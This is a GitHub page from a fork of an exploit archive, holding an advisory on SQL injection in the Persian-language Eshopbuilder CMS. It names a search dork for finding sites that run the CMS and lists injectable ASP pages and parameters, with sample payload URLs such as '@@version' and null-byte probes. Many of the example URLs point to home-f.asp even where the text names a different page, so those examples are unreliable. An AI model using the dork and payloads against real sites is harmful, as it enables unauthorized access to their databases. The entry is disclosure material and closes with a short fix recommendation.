forked from 1979139113/0day-today-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path10047.txt
76 lines (45 loc) · 2.99 KB
/
10047.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
Eshopbuilde CMS SQL Injection Vulnerability
===========================================
Title: Eshopbuilde CMS SQL Injection Vulnerability
Vendor: www.eshopbuilder.ir
Dork: Design by Satcom Co
Type: Input.Validation.Vulnerability (SQL Injection)
Fix: N/A
Description:
------------------
Eshopbuilder is a E-shop CMS written in persian language. The Eshopbuilder product is vulnerable to SQL injection.
Vulnerability Variant:
------------------
Injection "/home-f.asp","/opinions-f.asp" in "sitebid" parameter.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
Injection "/more-f.asp" in "sitebid" ,"id","secText","client-ip" and "G_id" parameters.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
http://www.example.com/src=www.example.com/home-f.asp?sitebid=\"
other parameters("id","secText","client-ip","G_id") is similar to "sitebid" parameter.
Injection "/selectintro.asp" in "sitebid" ,"id","ma_id","mi_id","secText","client-ip" and "G_id" parameters.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
other parameters("id","ma_id","mi_id","secText","client-ip" and "G_id") is similar to "sitebid" parameter.
Injection "/advcount.asp" in "sitebid","secText","adv_code" and "client-ip" parameters.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
other parameters("secText" and "client-ip") is similar to "sitebid" parameter.
Injection "/advview.asp" in "sitebid","secText","Grp_Code","_method" and "client-ip" parameters.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
other parameters("secText","client-ip","Grp_Code","_method" and "adv_code") is similar to "sitebid" parameter.
Injection "/dis_new-f.asp" in "sitebid","secText","newsId" and "client-ip" parameters.
http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
other parameters("secText","newsId" and "client-ip") is similar to "sitebid" parameter.
Solution:
------------------
Input validation of Parameter "sitebid","id","secText","client-ip","G_id","ma_id","mi_id","Grp_Code","_method","adv_code" should be corrected.